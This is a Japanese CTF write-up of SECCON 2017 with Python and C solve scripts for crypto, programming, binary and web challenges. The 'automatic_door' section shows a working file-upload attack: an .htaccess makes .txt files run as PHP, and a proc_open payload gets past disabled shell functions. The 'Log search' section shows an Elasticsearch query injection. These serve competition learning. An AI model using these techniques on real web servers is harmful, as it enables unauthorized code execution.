CTF

SECCON 2017 Online CTF Write-up

SECCON 2017

チームsuperflipは、13問、2500点、58位。日本チームの中では14位なので、正式発表はまだだけど国内決勝大会には行けそう。

Vigenere3d Crypto 100

Vigenere暗号の2次元の表を3次元にした版。

平文pを鍵をk1k2とすると暗号文ci番目の文字はs[s.find(p[i])+s.find(k1[i])+s.find(k2[i])]となる。この問題ではk1=k2[::-1]であることと、暗号文の一部が分かっていることからs.find(k[i])+s.find(k[::-1][i])の値が推測できる。

s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
P = "SECCON{**************************}"
C = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9"
K = []

for i in range(7):
    K += [(s.find(C[i])-s.find(P[i])) % len(s)]

ans = ""
for i in range(len(C)):
    ans += s[(s.find(C[i])-K[i%14 if i%14<7 else 13-i%14]) % len(s)]
print ans
SECCON{Welc0me_to_SECCON_CTF_2017}

Run me! Programming 100

実行にとても時間がかかるPythonスクリプトの実行結果を求めよという問題。メモ化すれば良い。フィボナッチ数列を再帰を使わずに求めても良い。

import sys
sys.setrecursionlimit(99999)
memo = {}
def f(n):
    if n not in memo:
        memo[n] = n if n < 2 else f(n-2) + f(n-1)
    return memo[n]
print "SECCON{" + str(f(11011))[:32] + "}"
SECCON{65076140832331717667772761541872}

putchar music Programming 100

Linuxで実行すると、putcharで曲が流れるらしい……が流れなかった。double x=pow(1.05946309435931,p[i]/6+13)を見ると、p[i]/6が音階のようなので、埃を被っていた電子ピアノで弾いてみたけど良く分からなかった。ヤマハの楽曲検索で探した。ただコンパイルして実行するだけだと問題にならないし、何かエスケープシーケンスを先に出力するとかそういう問題だったのかもしれない。

SECCON{STAR_WARS}

Qubic Rube Programming 300

WebGLでQRコードが描かれたルービックキューブが回っている。キューブの切れ目とQRコードのセルの切れ目がずれているので、真面目に解かなくても境目が合うものを貼り合わせれば良い。

image.png

import urllib
from PIL import Image

def solve(id):
  image = []
  for a in "LRUDFB":
    img = urllib.urlopen("http://qubicrube.pwn.seccon.jp:33654/images/"+id+"_"+a+".png").read()
    name = "download\\"+id+"_"+a+".png"
    open(name, "wb").write(img)
    t = Image.open(name)
    image += [[t, t.transpose(Image.ROTATE_90), t.transpose(Image.ROTATE_180), t.transpose(Image.ROTATE_270)]]
  for bb in "LRUDFB":
    base = Image.open("download\\"+id+"_"+bb+".png")
    for pos in range(8):
      for i in range(6):
        for j in range(4):
          ok = True
          for k in range(82):
            a = image[i][j].getpixel((
              [82,164,82,81,0,164,164,0][pos] + [1,0,1,0,1,1,1,1][pos]*k,
              [81,82,164,82,81,81,164,164][pos] + [0,1,0,1,0,0,0,0][pos]*k))
            b = base.getpixel((
              [82,163,82,82,0,164,164,0][pos] + [1,0,1,0,1,1,1,1][pos]*k,
              [82,82,163,82,82,82,163,163][pos] + [0,1,0,1,0,0,0,0][pos]*k))
            if a!=b:
              ok = False
          if ok:
            ox = [82,164,82,0,0,164,164,0][pos]
            oy = [0,82,164,82,0,0,164,164][pos]
            for y in range(82):
              for x in range(82):
                base.putpixel((ox+x,oy+y), image[i][j].getpixel((ox+x,oy+y)))
    base.save(id[:2]+"_"+bb+".png")

import subprocess

id = "01000000000000000000"
while True:
  print id[:2]
  solve(id)
  nextid = ""
  for a in "LRUDFB":
    res = subprocess.check_output((r"c:\Program Files (x86)\ZBar\bin\zbarimg.exe", "-q", id[:2]+"_"+a+".png"))
    print a, res[:-2]
    if "http" in res:
      nextid = res[len("QR-Code:http://qubicrube.pwn.seccon.jp:33654/"):-2]
  if nextid=="":
    break
  id = nextid

最初はファイル名が_B.pngの面が黄色でそこに次のURLが書かれていたけど、ステージが進むと色が変わったり場所が変わったりしたので、6面全部求めている。

SHA-1 is dead Crypto 100

SHA1が同じで、中身が異なり、ファイルサイズが2017kB超過2018kB未満のファイルを2個投稿せよという問題。Googleの計算資源が無いとSHA1の衝突なんて無理でしょ……と思ったが、Googleの計算したファイルの末尾に適当なデータを付ければ良い。一旦2個のファイルのSHA1が衝突したら、後ろに同じデータを付けてもSHA1は衝突したまま。

最初に2017001バイトのファイルを投稿したら弾かれた。1000はkで、1024はKKiで表記してほしい……と書きながら問題サイトを見に行ったら、Kiになっていた :thumbsup:

SECCON{SHA-1_1995-2017?}

Powerful_Shell Binary 300

PowerShellのスクリプト。実行するためにはポリシーを変更する必要がある

数段階で難読化されている。最後のほうで復号したスクリプトを実行するので、取り出して解析していけば良い。

途中で出てくるキーボードは本当に音が出てすごい。hhjhhjhjkjhjhfで「さくらさくら」を奏でると通る。

image.png

SECCON{P0wEr$H311}

Log search Web 100

Elasticsearchのクエリで問題ページ自体のアクセスログが検索できる。

Query String Queryのコマンドが通る。とはいえスクリプトを実行したりはできず、検索ができるだけ。
何をすれば良いのかわからなかったけど、/flag-HOKIFh6eKr0rWUkYK8CqZl9Fbxn4xxvy.txtみたいなURLに定期的にアクセスがあることに気が付いた。参加者がこんなことをする意味は無いので、出題者だろう。ほとんどが404を返しているけど、このようなURLで200のものを探した。

request:flag AND response:200 AND timestamp:"09/Dec/2017:03"

先頭に/flagがあるという条件で絞れれば良いのだけど、良く分からなかったので、とりあえず時刻で絞った。

SECCON{N0SQL_1njection_for_Elasticsearch!}

printf machine Binary 400

どこかで見た問題だw 書式指定文字列を使ってVMを実装している。

どこかで見た問題よりもprintfの引数は簡単で、32個の1バイト変数の配列aを用意して、printfの1-32番目の引数に書き込み用として、33-64番目の変数に読み込み用として渡している。(1-indexで)a[17]からa[32]に入力した文字列を書き込んで、実行し、a[16]0になれば正解。

書式指定文字列は読みづらいことこの上ないので、整形。

import re

for l in open("default.fs"):
  if l[-1]=="\n":
    l = l[:-1]
  m = re.match(r"^%2\$\*(\d+)\$s%(\d+)\$hhn$", l)
  if m:
    print "a[%2s] = a[%2s]" % (m.group(2), int(m.group(1))-32)
  else:
    m = re.match(r"^%(\d+)\$hhn$", l)
    if m:
      print "a[%2s] = 0" % m.group(1)
    else:
      m = re.match(r"^%(\d+)\$hhn%2\$\*(\d+)\$s%(\d+)\$hhn$", l)
      if m:
        print "a[%2s] = 0, a[%2s] = a[%2s]" % (m.group(1), m.group(3), int(m.group(2))-32)
      else:
        m = re.match(r"^%2\$\*(\d+)\$s%2\$\*(\d+)\$s%(\d+)\$hhn$", l)
        if m:
          if int(m.group(3)) == int(m.group(1))-32:
            print "a[%2s] += a[%2s]" % (m.group(3), int(m.group(2))-32)
          else:
            print "a[%2s] = a[%2s] + a[%2s]" % (m.group(3), int(m.group(1))-32, int(m.group(2))-32)
        else:
          m = re.match(r"^%2\$\*(\d+)\$s%2\$(\d+)s%(\d+)\$hhn$", l)
          if m:
            print "a[%2s] = a[%2s] + %s" % (m.group(3), int(m.group(1))-32, m.group(2))
          else:
            m = re.match(r"^%(\d+)\$s%(\d+)\$hhn$", l)
            if m:
              print "a[%2s] = strlen(a[%2s])" % (m.group(2), m.group(1))
            else:
              print l

読んでみると、16辺数の連立方程式が成り立つかどうかを判定していた。%1$s%5$hhna[5] = a[1]!=0になる。なるほど。

M = []
swap = []

for l in open("fs.txt"):
  if l[-1]=="\n":
    l = l[:-1]
  if l[:9]=="a[ 4] = a":
    s = int(l[-3:-1])
  if l[-8:]==" = a[ 4]":
    swap += [(s, int(l[2:4]))]
  if l=="a[ 3] = 0":
    M += [[]]
  if l[:10]=="a[ 4] = 0,":
    a = 1
    b = 0
  elif l=="a[ 9] += a[ 9]":
    a += a
  elif l=="a[ 4] += a[ 9]":
    b += a
  elif l=="a[ 3] += a[ 4]":
    print b,
    M[-1] += [b]
  elif l[:13]=="a[ 1] = a[ 3]":
    print l.split()[-1]
    M[-1] += [int(l.split()[-1])]

D = [0]*256
for i in range(256):
  for j in range(256):
    if i*j%256==1:
      D[i] = j

n = 16
for i in range(n):
  for j in range(i,n):
    if D[M[j][i]] != 0:
      break
  else:
    assert False
  M[i],M[j] = M[j],M[i]
  d = D[M[i][i]]
  for j in range(n+1):
    M[i][j] *= d
    M[i][j] %= 256
  for j in range(i+1,n):
    t = M[j][i]
    for k in range(n+1):
      M[j][k] -= M[i][k]*t
      M[j][k] %= 256
for i in range(n)[::-1]:
  for j in range(i):
    t = M[j][i]
    for k in range(n+1):
      M[j][k] -= M[i][k]*t
      M[j][k] %= 256

for m in M:
  print m

flag = [chr((-M[i][-1])%256) for i in range(n)]
print "".join(flag)

for s in swap[::-1]:
  flag[s[0]-17],flag[s[1]-17] = flag[s[1]-17],flag[s[0]-17]
print "".join(flag)

掃き出し法で解ける。最初に入力を並び替えているので、元に戻すと答えになる。どこかで見た問題と違って、ループが作れないのでチューリング完全ではない。

SECCON{Tur!n9-C0mpl3t3?}

Ps and Qs Crypto 200

RSAの公開鍵が2個と、暗号化したファイルが渡される。共通の素因数を持っていれば、ユークリッドの互除法で素因数が取り出せる。

NICTが共通の素数を持つ公開鍵を可視化するツールXPIAを作っていたけど、いったい何がどうなれば片方の素数だけ一致するのだろう?

openssl rsa -pubin -text < pub1.pub
openssl rsa -pubin -text < pub2.pub
import sys

sys.setrecursionlimit(10000)

n1 = 0xcfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd
n2 = 0xbb33cc7fcc8ecaf3bf9ed95c583792e1ec6b80ee875ec2064dbcf07595c8344923bf536524d4e0a75574c7798c73b197dd2b1b42054b1e49cb45fbf04e6f114cf8a365c3df3645524f778268038a3fa26802e9d1edbfbb5edfb5a0c375370d7f10f57dabbd4f771dad3632f01b9bce10489966ee882dab17a33b786aa5f73165a54051300b1df9280392a3ede9d3fc9c4d8a6a06351f6ef3598e8de2b39d3b19af64a1716cd15826c3f24cb13deb722c3a03ef1d2be2d0a5a6e210ff5d018367be3bf99ea26ba006e5164a4dd55aabcd449de5ce1864825dc160e50d509eb0e6fe723ef182681eddb94084b83ec9e2e943e87cb87509ab0fd9b1ca22c1ceaff39fcacf6729fc0e0578670d87d7f0f9ccbe09cb3e12ceb895572a9979d10bfdbfafa260568d8db184be12b3e3193e07729ce3c1d9cd8283ed6983a06388036a0a70294f23392944778280e7de9f60163a8150e30ff4a4ea02792cbe8305baa2e99afe51e17dafc56be0d384147bcd38e9d12934ec712622217773a4b3851a9b0c6c7c3e01f6111a1e1a557f4e2ae4a247ce9b75ccccb1819825f3054aa1c055bd3e2340093ae2ef1d0fa5a176825efdf79507027f5104080009142f0d43e2f10cfad220813bbb9014d4f4325edac538fb5e82b753e2ad3b24607d7380aa64fcb98b59ea8b5a736b809383248cece0b17255ea559e90127f778af6d7e8a66dad91

def gcd(a, b):
  if b==0:
    return a
  else:
    return gcd(b, a%b)
p = gcd(n1,n2)
q1 = n1/p
q2 = n2/p

def exgcd(x,y):
    r0,r1 = x,y
    a0,a1 = 1,0
    b0,b1 = 0,1
    while r1>0:
        q1 = r0/r1
        r2 = r0%r1
        a2 = a0-q1*a1
        b2 = b0-q1*b1
        r0,r1 = r1,r2
        a0,a1 = a1,a2
        b0,b1 = b1,b2
    return a0,b0,r0

def int2bin(d):
    t = "%x"%d
    return (t if len(t)%2==0 else "0"+t).decode("hex")

def enclen(l):
    if l<0x80:
        return chr(l)
    else:
        t = int2bin(l)
        return chr(0x80+len(t))+t

def encint(n):
    t = int2bin(n)
    return "\x02"+enclen(len(t))+t

def make(p,q):
    n = p*q
    e = 65537
    d = exgcd(e,(p-1)*(q-1))[0] + (p-1)*(q-1)
    exp1 = d % (p-1)
    exp2 = d % (q-1)
    coef = pow(q,p-2,p)

    t = "".join(map(encint,[0,n,e,d,p,q,exp1,exp2,coef]))
    t = "\x30"+enclen(len(t))+t

    print "-----BEGIN RSA PRIVATE KEY-----"
    print t.encode("base64")[:-1]
    print "-----END RSA PRIVATE KEY-----"

make(p,q1)
make(p,q2)
openssl rsautl -decrypt -inkey priv1.priv < cipher
SECCON{1234567890ABCDEF}

JPEG file Binary 100

どこか1ビットが反転したJPEGファイル。なんかDCT逆変換が掛かっていないような絵なので、ヘッダじゃないかなと当たりをつけてSOS (0xFFDA)のあたりを反転させたファイルを作ったら、フラグが読めるものが出てきた。

data = open("tktk.jpg", "rb").read()
for i in range(0x263*8,0x273*8):
  open("fix\\%d.jpg"%i, "wb").write(data[:i/8]+chr(ord(data[i/8])^1<<(i%8))+data[i/8+1:])
SECCON{jp3g_study}

Simon and Speck Block Ciphers Crypto 100

こういう暗号があるらしい。論文と、平文と暗号文と一部が伏せられた鍵(フラグ)。伏せられている部分が4文字だけなので総当たりをすれば良い。綺麗な実装を公開してくれている人がいるので、自分で実装する必要はない。エンディアンを逆にする必要があった。

https://github.com/inmcm/Simon_Speck_Ciphers

#include <stdio.h>
#include <stdint.h>
#include "Simon.h"
#include <string.h>

int main(void)
{
    Simon_Cipher simon;

    uint8_t key[] = {0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x7b, 0x00, 0x00, 0x00, 0x00, 0x7d};
    uint8_t plain[] = {0x6d, 0x56, 0x4d, 0x37, 0x42, 0x6e, 0x6e, 0x71};
    uint8_t cipher[] = {0xbb, 0x5d, 0x12, 0xba, 0x42, 0x28, 0x34, 0xb5};

    for (int i=0; i<4; i++) {
        uint8_t t = plain[i];
        plain[i] = plain[7-i];
        plain[7-i] = t;
        t = cipher[i];
        cipher[i] = cipher[7-i];
        cipher[7-i] = t;
    }
    for (int i=0; i<6; i++) {
        uint8_t t = key[i];
        key[i] = key[11-i];
        key[11-i] = t;
    }

    for (int k0=0x20; k0<0x80; k0++, printf("%02x\n", k0))
    for (int k1=0x20; k1<0x80; k1++)
    for (int k2=0x20; k2<0x80; k2++)
    for (int k3=0x20; k3<0x80; k3++)
    {
        key[1] = k0;
        key[2] = k1;
        key[3] = k2;
        key[4] = k3;
        Simon_Init(&simon, Simon_96_64, ECB, key, NULL, NULL);
        uint8_t c[8];
        Simon_Encrypt(simon, &plain, &c);
        if (memcmp(cipher, c, 8) == 0) {
            printf("%.12s\n", key);
            break;
        }
    }

    return ;
}
SECCON{6Pz0}

automatic_door Web 500

ファイルをアップロードしたり消したりできるウェブアプリ。シェルを取って/flag_xを実行せよという指示がある。

アップロードしたファイルはファイル名がそのままで、Apacheからもアクセスできる。.phpをアップロードしようとしたら、phを含むファイルは弾かれる。まずは、.htaccessをアップロードして、.txtをPHPとして実行できるようにする。

AddType application/x-httpd-php .txt

あとはsystem('/flag_x')を実行するだけだと思ったが、これが動かなくて悩んだ。今どきPHPのセーフモードなんてないだろうし、ファイルに実行権限は付いてるし、execとかpassthruを試してもダメ。実行できないならファイルをダウンロードしようとしたけど、権限が--x--x--xで、実行するしかないらしい。

php.iniを見ると、pcntl_*exec,passthru,popen,shell_exec,systemが並んでいた。なるほど。他にプログラムを実行できる関数が無いかとググるとproc_openがあった。

<?php 
$process = proc_open('/flag_x', array(1=>array("pipe","w")), $pipes);
echo stream_get_contents($pipes[1]);

を拡張子を.txtにしてアップロードして実行。

SECCON{f6c085facd0897b47f5f1d7687030ae7}

Thank you for playing! Thank you! 100

面白かった。ガチっぽいpwnがいっぱいあってガチ勢も満足なのでは(私はpwnは1問も解けなかったけど)。

SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!}